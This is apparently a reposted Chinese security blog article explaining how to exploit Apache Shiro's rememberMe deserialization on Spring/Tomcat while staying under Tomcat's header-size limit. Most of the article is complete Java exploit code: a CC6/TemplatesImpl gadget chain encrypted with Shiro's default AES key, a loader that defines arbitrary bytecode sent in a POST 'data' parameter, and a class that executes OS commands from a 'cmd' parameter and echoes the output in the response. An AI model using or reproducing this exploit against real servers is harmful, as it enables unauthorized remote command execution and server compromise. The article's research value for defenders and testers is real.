通过动态类加载解决【通过Tomcat全局存储进行回显】在Shiro中的Header过长问题
2021-04-22 00:41:08 Author: xz.aliyun.com(查看原文) 阅读量:197 收藏

前言

基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (qq.com)这篇文章中,Litch1师傅给出了一个通过Tomcat全局存储的方式来获取Request和Response对象,然后获取命令执行的回显的方法,但是遗憾的是,由于生成的payload的太长,超过了Tomcat对于header长度的限制:

Litch1师傅在文章最后给出的解决方案是通过修改maxHeaderSize的值,通过多个线程发送payload:

测试shiro的时候,发现一个问题,生成的payload太长了 ,已经超过了Tomcat默认的max header的大小,经过一再缩减也没有成功,于是考虑通过改变Tomcat max header的大小解除限制,思路是改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这个值会影响新的Request的inputBuffer时的对于header的限制,但是由于request的inputbuffer会复用,所以我们在修改完maxHeaderSize之后,需要多个连接同时访问,让tomcat新建request的inputbuffer,这时候的buffer的大小限制就会使用我们修改过后的值。

Spring + shiro 的环境中,本文给出一种不通过修改maxHeaderSize的值,在单个线程中使用动态类加载的方式来在Shiro中获取执行命令的结果。

拆解

我们可以把Shiro反序列化中的payload的作用分成两部分:

  1. 触发反序列化Gadget

  2. 执行我们构造的代码

而这两部分功能的代码,都是集中在一个文件中,所以产生了payload太长不可用的问题,所以我们能不能通过某种方法,把两部分功能分开,分别送到服务端执行呢?

本文的解决思路是通过动态类加载:

  1. 通过反序列化向服务端注入一个可以动态加载字节码的类(通过TemplatesImpl利用链)
  2. 同时向服务端发送一个字节码文件供其加载,通过这个字节码文件中执行我们构造的代码

动态加载字节码

在Java中要加载字节码,关键在于ClassLoader#defineClass方法,这个方法会把字节码在JVM注册成一个java.lang.Class对象 。我们要构造一个类,可以加载我们向服务端发送的任意代码,关键在于两点:

  • 如何动态加载字节码
  • 这个类收到我们向其发送的字节码数据

先看第一点,我们可以通过反射defineClass方法来达到动态加载字节码目的:

Method defineClass = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);

defineClass.setAccessible(true);
defineClass.invoke(ClassLoader.getSystemClassLoader(), bytes, 0, bytes.length)

也可以通过自己写一个继承自ClassLoader类的类,然后调用父类的defineClass方法:

public class DefineLoader extends ClassLoader {
    public Class load(byte[] bytes) {
        return super.defineClass(null, bytes, 0, bytes.length);
    }
}

再看第二点,在Spring环境中,我们可以通过如下方式来获取到一次请求的request对象:

// Get request in Spring Framework
ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
// RequestFacade
assert attributes != null;
HttpServletRequest requestFacade = attributes.getRequest();
Field requestField = requestFacade.getClass().getDeclaredField("request");
requestField.setAccessible(true);
// Request
Request request = (Request) requestField.get(requestFacade);

由于门面模式的使用,通过attributes.getRequest()拿到的其实是RequestFacade,在这个类中包装了真正的request对象。

所以我们可以把字节码数据放到POST请求的请求体(data)中,再利用这个request对象获取到发送的data,通过上述的方式动态加载这个类。

// Get parameter
String dataB64 = request.getParameter("data");

if (dataB64 != null) {
    // Load class dynamically
    byte[] bytes = Base64.decodeBase64(dataB64);
    // The same loader is not allowed to load classes repeatedly
    Class clazz = new DefineLoader().load(bytes);
}

由于同一个类加载不能重复加载同一个类,所以我们采用第二种方法,每次请求都生成一个新的类加载器,这样就不会抛出tried to access Class ······的异常了。

整体代码如下:

package src;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Request;
import org.apache.tomcat.util.codec.binary.Base64;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import javax.servlet.http.HttpServletRequest;
import java.lang.reflect.Field;

public class POC1 extends AbstractTranslet {

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    // Internal ClassLoader
    public static class DefineLoader extends ClassLoader {
        public Class load(byte[] bytes) {
            return super.defineClass(null, bytes, 0, bytes.length);
        }
    }

    static  {
        try {
            // Get request in Spring Framework
            ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
            // RequestFacade
            assert attributes != null;
            HttpServletRequest requestFacade = attributes.getRequest();
            Field requestField = requestFacade.getClass().getDeclaredField("request");
            requestField.setAccessible(true);
            // Request
            Request request = (Request) requestField.get(requestFacade);
            // Get parameter
            String dataB64 = request.getParameter("data");

            if (dataB64 != null) {
                // Load class dynamically
                byte[] bytes = Base64.decodeBase64(dataB64);
                // The same loader is not allowed to load classes repeatedly
                Class clazz = new DefineLoader().load(bytes);
                // invoke toStirng method
                clazz.newInstance().toString();
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这里以经过改造CC6Gadget为例(要手动向服务端添加依赖),通过TemplatesImpl利用来向服务端上面的POC1类:

package src;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import org.apache.tomcat.util.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URLEncoder;
import java.util.HashMap;
import java.util.Map;

/*
    CC6
 */
public class Main {
    public static void main(String[] args) throws Exception {
        File file = new File("target/classes/src/POC.class");
        byte[] bytes = new byte[(int) file.length()];
        FileInputStream fileInputStream = new FileInputStream(file);
        fileInputStream.read(bytes);

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_name", "Xinghai");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);

        HashMap expMap = new HashMap();
        expMap.put(tiedMapEntry, "value");
        outerMap.clear();

        setFieldValue(invokerTransformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr_out = new ByteArrayOutputStream();
        ObjectOutputStream ops = new ObjectOutputStream(barr_out);
        ops.writeObject(expMap);
        ops.close();

        // rememberMe
        byte[] AES_KEY = Base64.decodeBase64("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService aesCipherService = new AesCipherService();
        ByteSource source = aesCipherService.encrypt(barr_out.toByteArray(), AES_KEY);
        System.out.println(source.toString());
    }

    static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Class<?> clazz = Class.forName(obj.getClass().getName());
        Field field1 = clazz.getDeclaredField(field);
        field1.setAccessible(true);
        field1.set(obj, value);
    }
}

这样就生成了rememberMe的值。

构造待加载字节码

根据Litch1师傅的思路来获取Request和Response对象,然后放到toString()方法中:

package src;

import org.apache.catalina.Context;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Scanner;

public class POC2 {
    @Override
    public String toString() {
        String cmd = null;
        try {
            WebappClassLoaderBase loader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            Context context = loader.getResources().getContext();
            // ApplicationContext
            Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            applicationContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(context);
            // StandardService
            Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            serviceField.setAccessible(true);
            StandardService standardService = (StandardService) serviceField.get(applicationContext);

            // HTTP Connector
            Connector[] connectors = standardService.findConnectors();
            for (Connector connector : connectors) {
                if (connector.getScheme().contains("http")) {
                    // AbstractProtocol
                    AbstractProtocol abstractProtocol = (AbstractProtocol) connector.getProtocolHandler();

                    // AbstractProtocol$ConnectionHandler
                    Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
                    getHandler.setAccessible(true);
                    AbstractEndpoint.Handler ConnectionHandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol);

                    // global(RequestGroupInfo)
                    Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
                    globalField.setAccessible(true);
                    RequestGroupInfo global = (RequestGroupInfo) globalField.get(ConnectionHandler);

                    // processors (ArrayList)
                    Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                    processorsField.setAccessible(true);
                    ArrayList processors = (ArrayList) processorsField.get(global);

                    for (Object processor : processors) {
                        RequestInfo requestInfo = (RequestInfo) processor;
                        // RequestInfo
                        if (requestInfo.getCurrentQueryString().contains("cmd")) {
                            // req
                            Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                            reqField.setAccessible(true);
                            Request requestTemp = (Request) reqField.get(requestInfo);
                            org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) requestTemp.getNote(1);

                            cmd = request.getParameter("cmd");
                            String[] cmds = null;
                            if (cmd != null) {
                                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                                    cmds = new String[]{"cmd", "/c", cmd};
                                } else {
                                    cmds = new String[]{"/bin/bash", "-c", cmd};
                                }
                                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                                Scanner s = new Scanner(inputStream).useDelimiter("//A");
                                String output = s.hasNext() ? s.next() : "";
                                PrintWriter writer = request.getResponse().getWriter();
                                writer.write(output);
                                writer.flush();
                                writer.close();

                                break;
                            }
                        }
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
}

具体获取流程就不分析了,可以具体参考Litch1的文章。

再把该类的字节码文件进行一层Base64编码,就构造好了我们要发送的data

// data

File file1 = new File("target/classes/src/POC2.class");
FileInputStream fileInputStream1 = new FileInputStream(file1);
byte[] bytes1 = new byte[(int) file1.length()];
fileInputStream1.read(bytes1);
System.out.println(URLEncoder.encode(Base64.encodeBase64String(bytes1)));

测试

Spring boot + Shiro中测试:


文章来源: http://xz.aliyun.com/t/9436
如有侵权请联系:admin#unsafe.sh